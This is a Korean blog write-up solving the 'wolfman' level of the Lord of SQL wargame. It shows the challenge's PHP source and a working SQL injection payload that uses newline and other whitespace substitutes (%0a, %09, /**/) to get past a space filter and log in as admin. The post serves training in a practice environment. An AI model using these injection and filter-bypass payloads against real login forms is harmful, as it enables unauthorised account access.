LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 Orc에 이어 wolfman 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
wolfman은 Orc에서 사용했던 머리를 조금 식히는 겸 팁을 가져가기 위한 단계라고 생각하시면 되겠습니다.
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?>
위의 문제에서 6번 라인에서는 SQL Injection을 수행할 때 whitespace 즉, 띄어쓰기를 하지 말라는 필터링이 걸려 있습니다.
그리고, id가 admin인 값을 찾아내라고 합니다.
흠흠. 여기서는 id가 이미 guest로 되어 있기 때문에 해당 where문을 거짓으로 만들어주고 뒤에 참인 where문을 삽입해줘야 합니다.
단, 띄어쓰기가 막혀 있기 때문에 기존과 같은 방법은 통하지 않습니다. 여기서는 띄어쓰기 대신에 다른 값을 이용할 줄 알아야 합니다.
|
문제 풀이(쿼리) |
GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.
|
pw 쪽에 값 삽입(%0a를 이용) |
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0aor%0a1=1%0aand%0aid=%27admin |
위의 쿼리는 pw=%27%0aor%0a1=1%0aand%0aid=%27admin 이라고 작성해주었습니다.
여기서 %0a는 개행문자중 하나고 띄어쓰기 대신에 사용할 수 있는 값입니다.
query : select id from prob_wolfman where id='guest' and pw='' or 1=1 and id='admin' |
이렇게 되면 id가 guest인 값의 비밀번호가 선택되지 않기 때문에 거짓 where문이 됩니다.
여기서 1=1이라는 참을 삽입하고, id값을 admin으로 특정해줄 수 있습니다.
만약 %0a이외의 다른 값을 이용하고 싶으면 %09, %0b, %0c, %0d, /**/, (1) 를 이용할 수 있습니다.
/**/는 MySQL에서 ()로 인식하기 때문에 공백으로 사용할 수 있습니다.
단, 여기서 괄호는 필터링되어 있기 때문에 사용할 수 없습니다. ㅠㅠ
'%09or/**/1=1/**/and%0bid='admin
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 09 - vampire (0) | 2019.03.27 |
---|---|
[LOS - Lord Of SQL] Level 08 - troll (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 07 - orge (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 06 - darkelf (2) | 2019.03.26 |
[LOS - Lord Of SQL] Level 04 - orc (2) | 2019.03.24 |
[LOS - Lord Of SQL] Level 03 - goblin (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 02 - cobolt (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 01 - gremlin (0) | 2019.03.24 |